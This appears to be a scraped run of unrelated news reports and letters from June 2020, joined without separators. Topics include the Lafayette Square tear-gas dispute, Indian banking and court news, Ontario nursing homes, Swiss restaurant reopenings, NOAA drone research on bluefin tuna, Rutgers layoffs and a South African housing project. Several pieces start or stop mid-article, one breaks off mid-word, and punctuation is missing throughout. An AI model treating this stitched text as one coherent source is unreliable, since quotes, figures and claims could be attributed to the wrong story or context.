Reporters on the scene when Park Police and other officers wielding batons and shields shoved demonstrators - who were protesting the death of George Floyd while in police custody in Minneapolis - out of Lafayette Square said they personally experienced noxious fumes descending on the crowd, and suffered the eye irritation and difficulty breathing.

But the president and his allies used the Park Police's denial to attack news organizations, claiming that irresponsible media outlets exaggerated the methods officers had used on protesters to make the government response appear more heavy handed.

"Every news organization which reported the tear gas lie should immediately correct or retract its erroneous reporting," Tim Murtaugh, a spokesman for the Trump campaign, said in a statement Tuesday.

On Wednesday, the White House repeated that claim. "No tear gas was used, and no rubber bullets were used," White House press secretary Kayleigh McEnany told reporters.

On Friday, White House spokesman Judd Deere declined to comment on the Park Police spokesman's admission that the agency made a "mistake" or whether the White House had asked the acting chief to subsequently issue a statement.

But he tweeted the Vox story with the word "FALSE!" and a link to the latest statement from the acting Park Police chief.

Murtaugh, the campaign spokesman, said, "What the campaign said is completely consistent with what the Park Police is saying. There was no 'tear gas' used. The media is trying to widen the definition of tear gas to make their own original reporting seem accurate."

Although the White House claimed that no tear gas or rubber bullets were used Monday, reporters found evidence of both littering the streets in the aftermath.

At least one spent canister reporters recovered from the streets outside the park Monday was labeled "Skat Shell OC." The OC stands for oleoresin capsicum, an oily substance derived from chile peppers that is often used in topical ointments and "heat" creams for arthritis relief and muscle pain. When it gets into the eyes, noses and lungs, however, it triggers searing, debilitating pain, coughing, sneezing and mucus secretion.

Reporters for WUSA-TV also collected a canister labeled "Speed-Heat CS" - exactly the kind of tear gas that Delgado said the agency did not use.

And a reporter for The Washington Post found a silver canister Monday labeled "Sting-Ball 60CAL Rubber Pellet."

No agency has acknowledged shooting rubber pellets into the crowd, although multiple witnesses reported being hit with such projectiles.

As outrage built Tuesday morning about the use of force against the demonstrators, Delgado told The Post in an interview that the media had erroneously reported the use of tear gas.

"Everybody got it wrong," he said. "There was no tear gas. We used smoke canisters."

Later that day, after the Trump campaign had released its statement that called the use of tear gas a lie, Monahan issued his own statement.

He began by describing violence by protesters from Friday through Monday, saying that 51 of his officers were injured. Monahan said the Park Police at Lafayette Square used force because "many of the protesters became more combative, continued to throw projectiles, and attempted to grab officers' weapons." (Witnesses reported that although some water bottles were thrown, the crowd was largely calm.)

"Officers then employed the use of smoke canisters and pepper balls," he said, adding that tear gas was not used.

It was a distinction with very little difference.

According to the Centers for Disease Control and Prevention, riot-control agents are "chemical compounds that temporarily make people unable to function by causing irritation to the eyes, mouth, throat, lungs, and skin."

Several compounds fall under this category, according to the CDC. Among others, they include chloroacetophenone (CN), more commonly referred to as mace or pepper spray. Such compounds are all typically referred to as "tear gas" because their most prominent effect is to irritate mucus membranes, including the eyes, which secrete tears as a protective response.

- - -

The Washington Post's Hannah Natanson, Abigail Hauslohner, William Wan and Nick Miroff contributed to this report.
President Donald Trumps recent actions against the peaceful protesters in Washington have prompted this question: Why are so many leaders afraid to speak out against the unconstitutional and divisive actions of this president? I saw Republican legislators duck and run from questions posed by the press; not one soul was brave enough to stand tall.

Our Constitution is not worth the paper its printed on if our leaders are unable or unwilling to give that great work a voice. Our words and actions must make that document come alive.

Our own Gov. Mike DeWine had an opportunity to speak out at a recent press briefing and instead he smiled, laughed, and eventually said, I think we have handled this well. Thats exactly the kind of fearful behavior that has emboldened this president. We have not handled this nations racial inequalities well at all. I understand the wrath one might incur given President Trumps vengeful history, but too many leaders cower under threat of negative tweets from this president.

Donald Trump has neglected to use this moment in history as a great teaching moment for the country. Sadly, he could not breathe a word of unity.

Jeanette Ballantyne,

Akron
Dear Mr. Stephen Wright: I am writing regarding your recent trip to our beautiful province of New Brunswick. You were not (W)right in that decision.

You travelled through two provinces, Ontario and Quebec, to reach your destination of New Brunswick followed by a return trip to Peterborough. Both provinces are continuing to register high numbers of coronavirus cases.

I do not appreciate knowing that someone from Peterborough would be so selfish and inconsiderate to his fellow citizens.

Have you reported to Public Health for testing? Public Health will surely need to know who you visited/stayed with for your ten-day sojourn in New Brunswick. No secrets here Mr. Wright, nor privacy issues.

If for no other reason, Mr. Wright, you must want to protect the health of your friends from this virus. If you respect and love your friend(s) in New Brunswick, they also need to be notified by you so they can report to Public Health.

During this coronavirus pandemic everyone must adhere to the mandatory guidelines announced daily by Public Health.

Are you self-isolating for 14 days, Mr. Wright? Have you contacted everyone you were with to apologize for your thoughtlessness to their health? And for the danger you compromised their health.

You must have had pit stops Mr. Wright. The drive to New Brunswick is at least a comfortable two-day driving trip. Have you notified all those you were in contact with? Have yourself tested.

The restaurants in New Brunswick are experiencing the same hardships as the restaurants here in Peterborough. Give the restaurant owners in Peterborough your time and your help. My parents always taught me that charity begins at home.

Mr. Wright, you are not exempt from contracting this virus. You are made of flesh and bone like the rest of us. Get tested.

You do need to address this insensitive act of yours to the citizens of Peterborough. You may have endangered our lives by your expedition.
The Reserve Bank of India (RBI) on Friday announced creation of a Payments Infrastructure Development Fund (PIDF) to encourage acquirers to deploy Points of Sale infrastructure, both physical and digital modes, in tier-3 to tier-6 centres and north eastern states.

The RBI will make an initial contribution of Rs 250 crore to the PIDF covering half the fund and remaining contribution will be from card issuing banks and card networks operating in the country, the RBI said in a release.

To provide further fillip to digitisation of payment systems, it is necessary to give impetus to acceptance infrastructure across the country, more so in underserved areas, the RBI said. The PIDF will be governed through an Advisory Council and managed and administered by Reserve Bank, adding over the years, payments ecosystem in the country has evolved with a wide range of options such as bank accounts, mobile phones, cards, etc.

The PIDF will also receive recurring contributions to cover operational expenses from card issuing banks and card networks. The Reserve Bank will also contribute to yearly shortfalls, if necessary.
Opinion Article

5 June 2020

On Monday 11th May, restaurants and bars were among the few public establishments in Switzerland allowed to reopen. The move was preceded by lengthy Federal Counsel regulations made available to all restaurateurs setting out the now rather familiar guidelines: 2m distances between tables, maximum 4 people at a table, strict hygiene measures, service staff in masks and required contact details of each customer.

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Some noise was made about whether the move had come too soon, since initially the Swiss government had suggested reopening around early June. But with the Swiss Germans claiming fewer Covid-19 cases and eager to lift the lockdown, the Swiss French and Italians followed suit despite their higher virus numbers and added concerns about getting the safety measures right.

From speaking to a variety of bar and restaurant owners in the French-speaking Romandie region, many of them were torn between the joy of reopening and the fear of further losses. For spacious restaurants with both indoor and outdoor capacity, the new regulations (assisted by the clement spring weather) meant that a decent turnaround of customers could be assured despite the average 50% reduction in tables. However, those limited to just indoor space, especially the smaller 'bijou' eateries, found that they had drawn the short straw: was it going to be worth their while to risk reopening with such little to offer and equally little to gain? Not to mention the retraining of staff, reconfiguring the menu and the food supply, as well as the cost of implementing the new hygiene measures.

Thierry Wegmuller, manager of indoor restaurant Le Java and outdoor bar Les Arches in central Lausanne, describes in detail how the government measures have been impacting his business.

1. How did you find the regulations of the Swiss Federal Counsel? Were any of them difficult to implement?

I agree with the distancing of tables and strict hygiene measures. The wearing of masks is optional, but all my staff choose to wear one as a sign of respect and safety towards our clientele. I do have a problem with having to close up at midnight. It's bad enough dealing with the loss of revenue due to the reduction of tables, but then to rob us of a few extra hours feels unfair and illogical. I also think that the maximum number of 4 people around the table is rather low, I hope that it will soon be increased to 10. The taking down of every customer's phone number has been thankfully contested and deemed unworkable; it would certainly have proved impossible to implement at Les Arches with people just stopping by for a quick drink and then leaving after a few minutes.

2. Does the reduced amount of tables and customers make re-opening a viable option for you?

Let's be honest, many of us are not reopening for financial reasons. Few of us are set to make any profit with this 50% capacity reduction. Personally, I'm opening for social reasons: I want my staff to feel busy again and give my customers an excuse to get out of the house. Regaining clientele trust and loyalty must come before any regaining of profits.

3. What's the difference in turnout between your indoor restaurant and your outdoor bar?

Les Arches, essentially an open-air drinking spot in the center of town, has seen a great turnout, especially in young people eager to regain their social freedom. In addition, it's considered a 'safer' option because of being outside and hence, easier to keep the required distance, without any air conditioning or sense of spatial confinement. It's been a pleasant surprise, although the income is not quite as it was pre-lockdown. Le Java has a 40% table reduction and is just beginning to welcome a few more customers every day.

4. Did you make any of your staff redundant during lockdown?

We chose not to lay off any of our staff. During confinement, they were all on state benefits, (RHT: reduction horaire travail). The bottom line in these crisis times is rooted in the pre-existing condition of your business: a healthy restaurant will survive if it was making a steady profit; in this case it makes no sense to cut your staff, it will only hinder you when things pick up again. However, the businesses that were already in trouble pre-pandemic will not survive in these conditions.

5. Did you rely on takeaways and home delivery?

No, we decided to totally shut down the kitchen during lockdown, besides, our menu at Le Java is not really catered for takeaways. However, now that our kitchen has reopened, we are collaborating very successfully with Uber Eats and Smood for home delivery of certain dishes. This is one positive aspects in the F&B industry that has come out of the pandemic.

6. How would like this period of deconfinement to be managed?

It's important to maintain a positive attitude, re-establish trust and above all not feel guilty about wanting to re-engage in social activity. If one is taking the necessary precautions, the fear of contaminating others or being contaminated should not take over. We are likely to cause more damage to ourselves by cutting off our innate convivial, social natures. My job is not just to sell food and alcohol, I like to think of myself as a provider of joy, emotions, encounters. I'm a creator of energies and exchanges. For me, social relations are of the utmost importance and am committed to nurturing them for as long as I possibly can.

Conclusion

This situation pushes restaurants to rethink their entire operations' process: redefine all touchpoints with clients, optimize them according to the situation and develop new options such as the successful takeaway model.

The use of a 'service blueprint' could be a handy strategic instrument in this post-pandemic climate, helping to re-create customer loyalty based on their expectations and perceptions. For example, a multi-dimensional research tool like 'Servqual', composed of 5 dimensions - Reliability, Responsiveness, Tangibles, Assurance and Empathy - can be adjusted to adapt to the Covid-19 parameters.

To quote Wegmuller, "Regaining clientele trust and loyalty must come before any regaining of profits", hence, demonstrating optimal adaptation to the new security measures while at the same time showing commitment to the human, social nature of hospitality must surely be the way forward.
Shattered by the first deadly wave of COVID-19 and losing frightened staff by the thousands, the nursing home industry is girding for a second wave and warning that the Ontario government is not preparing for it quickly enough.

Many homes remain desperately short of workers despite Premier Doug Fords promised $4 hourly pandemic bonus, little has been done about four-bed rooms where the virus spread easily, and Canadian Armed Forces medical teams are set to pull out from five of the hardest-hit locations on June 12.

Meanwhile, hospitals that are managing nine nursing homes in crisis while loaning SWAT teams to care for residents and bolster infection control in dozens of others will eventually leave them to resume normal operations  or face a potential rush of patients themselves.

The next wave could come before September. It could come in July. We dont have the luxury of time, Donna Duncan, chief executive of the Ontario Long-Term Care Association, told the Star.

Im not sensing urgency, added Duncan, whose group represents a range of nursing-home operators, from for-profit to municipal, charitable and not-for-profit entities.

Ministry of Health numbers quantify the damage and point to the challenges ahead.

More than 5,200 of Ontarios 78,000 nursing-home residents have contracted COVID-19 and 1,679 have died, along with seven staff members, whose unions say masks and other personal protective equipment were in short supply or not available.

At least 1,865 long-term-care employees have been infected, representing almost 40 per cent of the health-care workers in the province who contracted the virus. There have been more than 300 outbreaks in Ontarios 626 nursing homes, with 89 still active. Just under 1,000 residents remain ill with COVID-19 along with 805 staff members who are off sick instead of caring for them.

There is no confidence that if a second wave comes well be able to handle it, said Sharleen Stewart, president of SEIU Healthcare, a union representing thousands of nursing-home workers.

Theyre risking their lives. Theyve proven that already, she added, calling on nursing home management to improve pay, supplies of PPE and working conditions by listening to employees, particularly on infection control concerns.

Duncan is pushing for contingency plans, such as overflow facilities to ease crowding, recruiting workers with applicable skills from other industries  such as restaurants largely idled by the pandemic  to provide food service for residents, and arranging fail-safe measures after some doctors would not personally see patients in nursing homes.

A lot of telemedicine was happening. In many cases around the province, physicians were not going in, Duncan said.

Health Minister Christine Elliott pledged the government wont leave nursing homes without assistance, but was short on details other than noting hospital teams will assist in the five homes that currently have military help.

Were working on all of those issues to make sure that when the time comes for hospital staff to leave, that there will be the appropriate staff, with the appropriate measures in our long-term-care homes, she said.

The hardest-hit homes, including the five GTA facilities assisted by 50-person military teams, saw staff levels fall as low as 20 per cent, Duncan said, leaving residents and the few remaining workers in dire straits amid conditions described as horrific and inhumane.

They included underfeeding and forceful feeding to the point of choking, dispensing medications months past their expiry dates, masks under lock and key to save money, and residents kept in their beds for weeks, leading to painful pressure ulcers, or left crying for help in soiled diapers.

Pandemic pay, which will expire in mid-August, hasnt been enough to retain many staff concerned for their own physical and mental health, said Duncan.

She estimates half the labour-intensive industrys 80,000 pre-pandemic employees have been staying away.

Staff are just quitting because the stigma and the fear is too much for them. We have to replace a workforce. Im not sure theyre coming back, Duncan added.

Thats the thing that really keeps me up at night, she continued. If we can make sure staff feel safe and supported, I think we can stabilize and have people come back.

Stewart agreed with the 40,000 figure and Duncans sentiment but said many nursing homes wont have those conversations about better wages, proper access to PPE, infection control and care standards.

Until they do, I dont have any answers for them.

Wages at nursing homes for many jobs start at the $14 hourly minimum, with personal support workers who dress, groom, feed and toilet residents earning $16 to $19 and registered practical nurses earning about $23 hourly.

Some of them make less than Tim Hortons servers do. They feel like nobody cares about them, said Stewart.

Elliott acknowledged retention is a problem, particularly in the wake of the PPE shortages.

We need to make sure that, first and foremost, we have a safe workplace for people, whether it be nurses or personal support workers. It has to be a clean environment, for both their sakes, as well as for the residents.

Advocates for nursing-home residents and workers have repeatedly pressed for changes, including pay levels at the same rate as equivalent hospital staff, guarantees of full-time work with benefits for personal support workers so they dont have to hop from one home to another as potential virus vectors, and a minimum standard of four hours personal care per resident daily.

The Registered Nurses Association of Ontario has cited deadly delays in giving nursing home workers PPE and a lack of isolation facilities, as well as the governments low prioritization of nursing homes as the pandemic approached among key problems to fix.

The best way to do that is to ensure nursing homes in Ontario are adequately funded and the staff supported to fully protect the health and safety of everyone, said RNAO chief executive Doris Grinpsun.

As COVID-19 has shown, this is not the case today and the results are devastating for residents, their loved ones, and the staff who heroically care for them under the most trying circumstances.

Opposition parties are also raising the alarm, given that Ford initially promised an iron ring of protection around vulnerable nursing home residents that faltered when the virus hit full force in April.

We certainly cant go down that road again, said NDP Leader Andrea Horwath. I would like to see some kind of a plan.

Aside from better wages and benefits, more nurses are needed to improve the experience for the vulnerable residents, many of whom have dementia, said Green Leader Mike Schreiner.

Those measures would ensure we care for our elders with dignity and ensure were ready for a second wave, he added.

With the four-bed ward rooms taking a hefty share of the blame for the spread of COVID-19 in older nursing homes, particularly in smaller communities, Duncan said reducing them to two occupants would take 10,000 badly needed beds out of a long-term-care system that has 36,000 people on waiting lists.

A pledge by Fords government to create more nursing home beds over the next decade wont be fulfilled soon enough for a second wave, meaning alternatives will have to be considered  perhaps hotels, motels, field hospitals, retirement homes, college and university dorms or arenas.

Were going to have to look at that. We need to do that now, Duncan said.

Her biggest fear is that a second wave of COVID-19, like the second wave of the Spanish flu pandemic a century ago, brings a hospital surge of patients that, mercifully, did not materialize this winter and spring.

In which case, hospitals are not going to come to the rescue. So if we are building alternate spaces, how are we going to staff them?
SC wants Finance Ministrys views on interest waiver

India

oi-Vicky Nanjappa

New Delhi, June 05: The Supreme Court sought finance ministry's reply on waiver of interest on loans during the moratorium period after the RBI said it would not be prudent to go for a forced waiver of interest risking financial viability of the banks.

The top court said there are two aspects under consideration in this matter no interest payment on loans during the moratorium period and no interest to be charged on interest.

A bench of Justices Ashok Bhushan, Sanjay Kishan Kaul and M R Shah said that these are challenging times and it is a serious issue as on one hand moratorium is granted and, on other hand, interest is charged on loans.

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

Not in favour of waiver of interest on loans, RBI tells SC

The bench was hearing a plea, filed by Gajendra Sharma, in which he has sought a direction to declare the portion of RBI's March 27 notification "as ultra vires to the extent it charges interest on the loan amount during the moratorium period, which create hardship to the petitioner being borrower and creates hindrance and obstruction in 'right to life' guaranteed by Article 21 of the Constitution of India".

Sharma, a resident of Agra, has also sought a direction to the government and the Reserve Bank of India (RBI) to provide relief in re-payment of loan by not charging interest during the moratorium period.

Solicitor General Tushar Mehta, appearing for the Centre, said that he would like to file the reply of finance ministry on the issue and sought time.

Senior advocate Rajeev Dutta, appearing for petitioner Gajendra Sharma, said that now the cat is out of the bag as RBI is saying profitability of the banks is primary.

He referred to the recent order of the apex court in the Air India matter on booking of middle seats on the non-scheduled flights to bring the stranded Indians from abroad. The court had said that economic interest is not higher than the health of people.

Dutta said that by the submission of the RBI, it means that only banks should earn profit while rest of the country goes down during the pandemic.

No coercive action against employers, says SC on Centres order on wages

He said the petitioner would like to file a rejoinder to the reply filed by the RBI.

Mehta said he would consult the finance ministry and try to find out a solution to both the questions asked by the bench and file a response to them.

The top court asked the Solicitor General to file the response by June 12 and allowed the petitioner and other parties to file rejoinder by then.

At the outset, the top court took note of the fact that RBI's reply was leaked to the media before the matter was taken up before the court. "Is RBI filing the reply first in media and then in court?"

Dutta said this was a move to sensationalise the issue.

The bench said that it highly deprecates this practice and this should not happen again.

On May 26, the top court had asked the Centre and the RBI to respond to the plea challenging levy of interest on loans during the moratorium period.

The RBI in its reply has told the top court that it is taking all possible measures to provide relief with regard to debt repayments on account of the fallout of Covid-19 but it does not consider it prudent to go for a forced waiver of interest, risking the financial viability of the banks it is mandated to regulate, and putting the interests of the depositors in jeopardy.

In its reply, to the plea the RBI said that regulatory package is, in its essence, in the nature of a moratorium/deferment and cannot be construed to be a waiver.

While the Reserve Bank is taking all possible measures to provide relief to the real sector with regard to debt repayments on account of the fallout of Covid-19, it does not consider it prudent or appropriate to go for a forced waiver of interest, risking the financial viability of the banks it is mandated to regulate, and putting the interests of the depositors in jeopardy, the Reserve Bank has said in its affidavit.

It said the mandate of the Reserve Bank as far as regulation of banks is concerned draws upon the considerations of protection of depositors' interest and maintenance of financial stability, which also require that the banks remain financially sound and profitable.

PSBs sanction loans worth over Rs 10k crore under Emergency Credit Line Guarantee Scheme

The RBI has said that the March 27 circular announcing moratorium was later modified on April 17 and May 23 by which the moratorium period was extended by another three months that is from June 1 to August 31, 2020, on payment of all instalments in respect of term loans (including agricultural term loans, retail and crop loans).

It is submitted that the regulatory dispensations permitted by the Reserve Bank of India vide the aforesaid circulars dated March 27, 2020, which subsequently stood modified on April 17, 2020, and May 23, 2020, were with the objective of mitigating the burden of debt servicing brought about by disruptions on account of Covid-19 pandemic and to ensure the continuity of viable businesses.

"Therefore, the regulatory package is, in its essence, in the nature of a moratorium/deferment and cannot be construed to be a waiver, it has said.

The RBI said that in order to ameliorate the difficulties faced by borrowers in repaying the accumulated interest for the moratorium period, on May 23 it had announced that in respect of working capital facilities, lending institutions may, at their discretion, convert the accumulated interest for the deferment period up to August 31, 2020, into a funded interest term loan (FITL) which shall be repayable not later than March 31, 2021.
Just days after a citizenship amendment act protest was held on its campus, Jawaharlal Nehru University has asked the protesting teachers not to sully the image of the institution and honour the Covid-19 guidelines as the nation battles to stem the spread of the disease.

The university recognised the right to protest, but cautioned members to refrain from any kind of agitation during the coronavirus pandemic as it sets a wrong example. The protest took place on June 3.

The protesting faculty members are requested not to sully the image of the university by violating the Covid-19 guidelines when the nation is working hard to contain the spread of coronavirus, university said in a statement.

The JNU Teachers Association (JNUTA), however, said they did not flout any rule and followed social-distancing norms.

The Federation of Central Universities Teachers Associations (FEDCUTA) had expressed solidarity with the protest, JNUTA secretary Surajit Majumdar was quoted as saying by PTI.

The secretary said some teachers protested from their homes holding placards, while a few gathered.

It is ridiculous to say people shouldnt protest because of Covid-19 when unjust arrests are being made in the midst of the pandemic. The image of the university will only be sullied if the University community is silent with regard to the injustice seen all around, Majumdar told PTI.

The CAA which was passed in December 2019 amends Section 2 of the Citizenship Act, 1955, which defines illegal migrants. According to change in definition, any person belonging to Hindu, Sikh, Buddhist, Jain, Parsi or Christian communities from Afghanistan, Bangladesh or Pakistan, and who have been exempted by the Central Government under the Passport (Entry into India) Act, 1920 or the Foreigners Act, 1946, shall not be treated as illegal migrant. Consequently, such persons shall be eligible to apply for citizenship by naturalisation, which is laid down under Section 6 of the 1955 act.

The exclusion of Muslim community from the benefits of CAA had led to widespread protests across the country, as did the linking of citizenship with religion.
Mike Jech about to launch the APH-22 from the bow of the F/V Lily. Credit: NOAA Headquarters

Researchers have used an unmanned aerial system (or drone) to gather data on schooling juvenile Atlantic bluefin tuna in the Gulf of Maine.

This pilot study tested whether a drone could keep up with the tuna while also taking photographs that captured physical details of this fast-moving fish. The drone was equipped with a high-resolution digital still image camera. Results show that drones can capture images of both individual fish and schools. They may be a useful tool for remotely monitoring behavior and body conditions of the elusive fish.

Individual fish lengths and widths, and the distance between fish near the sea surface, were measured to less than a centimeter of precision. We used an APH-22, a battery-powered, six-rotor drone. The pilot study was conducted in the Atlantic bluefin tuna's foraging grounds northeast of Cape Cod in the southern Gulf of Maine.

"Multi-rotor unmanned aerial systems won't replace shipboard surveys or the reliance on manned aircraft to cover a large area," said Mike Jech, an acoustics researcher at the Northeast Fisheries Science Center in Woods Hole, Massachusetts and lead author of the study. "They have a limited flight range due to battery power and can only collect data in bursts. Despite some limitations, they will be invaluable for collecting remote high-resolution images that can provide data at the accuracy and precision needed by managers for growth and ecosystem models of Atlantic bluefin tuna."

Results from the APH-22 study were published in March 2020 in the Journal of Unmanned Vehicle Systems. Researchers conducted their work in 2015. They then compared their study results to values in published data collected in the same general area. They also compared it to recreational landings data collected through NOAA Fisheries' Marine Recreational Information Program.

Atlantic bluefin tuna is a commercially and ecologically important fish. The population size in the western Atlantic Ocean is unknown. Fishery managers need biological data about this population, but it is hard to get. Highly migratory species like Atlantic bluefin tuna often move faster than the vessels trying to sample them. The tuna are distributed across large areas, and can be found from the sea surface to hundreds of feet deep.

Sampling with traditional gearnets and trawlsis ineffective. Acoustical methods are useful but limited to sampling directly below a seagoing vessel with echosounders or within range of horizontal sonar.

Hexacopter image of a school of Atlantic bluefin tuna taken northeast of Provincetown, Massachusetts in the southern Gulf of Maine. Credit: NOAA Headquarters

It is also difficult to estimate the number of tuna in a school from an airplane. Both fish availability and perception biases introduced by observers can affect results. Estimates of abundance and size of individuals within a school are hard to independently verify.

Taking precision measurements of animals that are in constant motion near the surface proved easier with a drone that is lightweight, portable, and agile in flight. It can carry a high-quality digital still camera, and be deployed quickly from a small fishing boat.

Short flight times limit a drone's ability to survey large areas. However, they can provide two-dimensional images of the shape of a fish school and data to count specific individuals just below the ocean surface.

The APH-22 system has been tested and evaluated for measuring other marine animals. It's been used in a number of environmentsfrom Antarctica to the Pacific Oceanprior to its use in the northwest Atlantic Ocean. Previous studies estimated the abundance and size of penguins and leopard seals, and the size and identity of individual killer whales.

"The platform is ideal for accurately measuring fish length, width, and the distance between individuals in a school when you apply calibration settings and performance measures," Jech said. "We were able to locate the hexacopter in three-dimensional space and monitor its orientation to obtain images with a resolution that allowed us to make measurements of individual fish."

As new unmanned aerial systems are developed, their use to remotely survey Atlantic bluefin tuna and other animals at the sea surface will evolve. It may minimize the reliance on manned aircraft or supplement shipboard surveys.

The International Commission for the Conservation of Atlantic Tunas governs tuna fishing. It is entrusted to monitor and manage tuna and tuna-like species in the Atlantic Ocean and adjacent seas. NOAA Fisheries manages the Atlantic bluefin tuna fishery in the United States and sets regulations for the U.S. fishery based on conservation and management recommendations from the international commission.

Explore further Hungry bluefin tuna in a sea of plenty

More information: J. Michael Jech et al, Measurements of juvenile Atlantic bluefin tuna (Thunnus thynnus) size using an unmanned aerial system, Journal of Unmanned Vehicle Systems (2020). J. Michael Jech et al, Measurements of juvenile Atlantic bluefin tuna (Thunnus thynnus) size using an unmanned aerial system,(2020). DOI: 10.1139/juvs-2018-0039
Crime Stoppers is seeking the publics assistance in helping locate a 34-year-old woman who has been missing since May 12.

According to Crime Stoppers, Jessica Bedford is a mother who would not disappear by choice. She is believed to be in immediate and imminent danger.

Her last known location was either the Brightmoor neighborhood in Detroit or Lincoln Park.

Crime Stoppers of Michigan is offering a cash reward of up to $2,500 for information that leads to Bedfords location.

All rewards are paid anonymously.

Crime Stoppers emphasizes that those who submit tips will remain 100% anonymous and rewards are paid when tips lead to an arrest.

The number to call is 1-800-SPEAK-UP or tips may be submitted online at 1800speakup.org
President Jair Bolsonaro threatened Friday to pull Brazil from the WHO over "ideological bias," as his counterpart Donald Trump said the US economy was recovering from the coronavirus pandemic and Europe sought to reopen its borders. Adding fuel to the political fire raging around the pandemic, its origins and the best way to respond, Bolsonaro criticized the World Health Organization for suspending clinical trials of the drug hydroxychloroquine for COVID-19 -- a decision it reversed this week -- and threatened to follow in Trump's footsteps by quitting. "I'm telling you right now, the United States left the WHO, and we're studying that, in the future. Either the WHO works without ideological bias, or we leave, too," the far-right leader told journalists. Sometimes called a "Tropical Trump," Bolsonaro has followed a similar script to the US president in his handling of the pandemic, downplaying its severity, attacking state authorities' stay-at-home measures and touting the purported effects of hydroxychloroquine and a related anti-malarial drug, chloroquine, against COVID-19. The WHO had suspended trials of hydroxychloroquine after major studies raised concerns about its safety and effectiveness against the new coronavirus -- irking Trump, a fan who even took the drug himself as a preventive measure. On Thursday, most of the authors of the studies that appeared in The Lancet and the New England Journal of Medicine retracted their work, saying they could no longer vouch for their data because the firm that supplied it refused to be audited. However, adding to the swirling scientific and political debate, a new study from Oxford University said Friday that hydroxychloroquine showed "no beneficial effect" in treating COVID-19. In another potentially confusing reversal, the WHO changed its advice on face masks, saying that "in light of evolving evidence" they should be worn in places where the virus is widespread and physical distancing is difficult. - US 'largely through' - The new coronavirus has now killed more than 394,000 people and infected 6.7 million since it emerged in China late last year, the world's worst health crisis in more than a century. In the US -- the hardest-hit country, with 109,000 dead and nearly 1.9 million infections -- Trump said the economy was bouncing back after being pummeled by lockdown measures. "We had the greatest economy in the history of the world. And that strength let us get through this horrible pandemic, largely through, I think we're doing really well," he told reporters. Trump, who is facing a tough campaign for re-election in November, reiterated his calls to further ease stay-at-home measures, after surprisingly upbeat employment numbers showed the country gained 2.5 million jobs in May. In a sign of the slow return to normal in the US, Universal Orlando became the first of the giant theme parks in sunny Florida to reopen -- albeit with temperature controls at the entrance and mandatory face masks. - EU to reopen borders - In Europe, badly-hit countries slowly continued on a path toward a post-pandemic normal, seeking to revive key tourist sectors in time for the summer season without triggering a second wave of infections. The EU said it could reopen borders to travelers from outside the region in early July, after some countries within the bloc reopened to European visitors. In France, a top expert meanwhile said dramatic drops in daily deaths and new cases since their March peaks meant the worst was over. "We can reasonably say the virus is currently under control," said Jean-Francois Delfraissy, the head of the government's scientific advisory council. - Shifting epicenter - But bleak numbers streamed in from Latin America, the latest epicenter. Brazil's death toll rose to more than 35,000, the third-highest in the world, after the United States and Britain. Tolls are also rising sharply in Mexico, Peru and Ecuador. And in Chile, deaths have risen by more than 50 percent in the past week, despite a three-week lockdown of the capital, Santiago. burs-jhb/mtp Countries like France are eager to salvage the summer tourism season A UK trial found that using hydroxychloroquine to treat COVID-19 was not beneficial President Donald Trump said the US economy was "largely through" the pandemic Spread of coronavirus Brazil now has the third highest death toll in the world after the US and Britain
A coalition of 19 unions at Rutgers University stepped up the pressure Thursday in urging the administration to halt hundreds of layoffs stemming from the coronavirus pandemic.

Speakers at an afternoon press conference included an employee whose position is among the possible cuts, to a student whose free tuition benefit will end if her mother loses her job.

I love Rutgers and, right now, I feel so betrayed by my own university, said Melissa Aldave, a rising junior whose mother works in one of the universitys dining halls.

Union leaders announced Wednesday that Rutgers could lay off about 500 dining, maintenance, custodial and public safety employees, and that the university had given no assurances that another 620 or so dining hall workers typically furloughed during the summer will return to their jobs in the fall.

The unions argue that work-sharing furloughs and other measures could save all of the affected jobs.

A Rutgers spokesperson said the union is in the process of negotiating a furlough program that could avoid layoffs in the custodial, groundskeeping, public safety and maintenance departments.

With respect to the 10-month food service workers, it is just impossible, at this point, to guarantee the traditional return to work for them because we dont yet know the status of the dining halls, spokesperson Dory Devlin, alluding to uncertainty about the resumption of in-person instruction amid the pandemic.

Bryan Cardinale, a chef manager at Livingston Dining Hall, said his daughter is planning to enroll at Rutgers in the fall and that his wife, a cancer survivor, is not working and hasnt received her state unemployment check in six weeks.

His last scheduled day on the job at Rutgers, where he has worked for eight years, is June 26.

He said he will not be able to afford his daughters tuition without the tuition remission program offered to employees.

My world has been turned upside down," he said.

Todd Wolfson, president of the local union, American Association of University Professors / American Federation of Teachers (AAUP-AFT), which represents full-time faculty and graduate employees, said the layoffs would disproportionately impact Black and brown students

We are stunned by the callous calculation in these layoffs. Rutgers is choosing to be a part of the problem, not the solution, Wolfson said.

Rutgers, like other colleges, is facing a substantial revenue loss from the coronavirus pandemic and previously warned it could lose more than $150 million in revenue this spring.

The unions represent 20,000 employees, said Christine OConnell, president of the Union of Rutgers Administrators/AFT union.

We collectively recognize the university is facing challenges, OConnell said.

Respectfully, we have asked management to negotiate a humane plan to approach the future. This plan should be humane and do as little harm as possible because collectively we are in this together, she said.

NJ Advance Media staff writer Adam Clark contributed to this story.

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Rob Jennings may be reached at rjennings@njadvancemedia.com.
With a batch of goods imported from South Korea via e-commerce platform cleared on June 3 by Qingdao customs in east Chinas Shandong province, cross-border e-commerce between China and South Korea ushers in a new era of whole-process traceability.

All relevant information about the imported commodities, including logistics, capital flow and customs clearance, has reached whole-process interconnection, mutual recognition, and digitalization.

With this success, every link of the online shopping experience for products ordered from South Korea through cross-border e-commerce platforms by consumers in China are now traceable.
Cindy is a great leader to the staff, Ellsworth said. She was a soundboard for me because she was the longest-tenured teacher at Chapman. We ran things by each other. Shes got a laid-back style, gets to every kid, works with them and gets down to their level.

He added: I think the biggest takeaway for me was her calmness in the classroom. She never seemed to get rattled. She has always had something to fall back on.

Gamblin said teaching was a family affair for her as she taught with her son, Scott, who was a third-grade teacher at the school until this year.

It was really a neat experience, she said. We could bounce ideas off of each other because we have similar styles of teaching. The last three years, he has been up on the third floor of Chapman, so he was on the same floor as I was. We got to see each other more then.

Gamblin said she taught her two younger children in fifth and sixth grades. She also taught three of her grandchildren at Chapman.

It was easier to teach my own kids than my grandkids, she said. It is hard to be grand-
How to stay home without a home

CALS is very pleased to be partnering with the Nelson Mandela Foundation on a project addressing home, land and tenure issues during lockdown

Regulations to address the spread of the novel coronavirus in South Africa have been in place for around two months now. In that time, we have moved from alert level five, where all but essential movement and gathering was banned, through to the much less restrictive level three. Yet, the call to stay at home and maintain physical distancing has presented huge challenges to many people in our country.

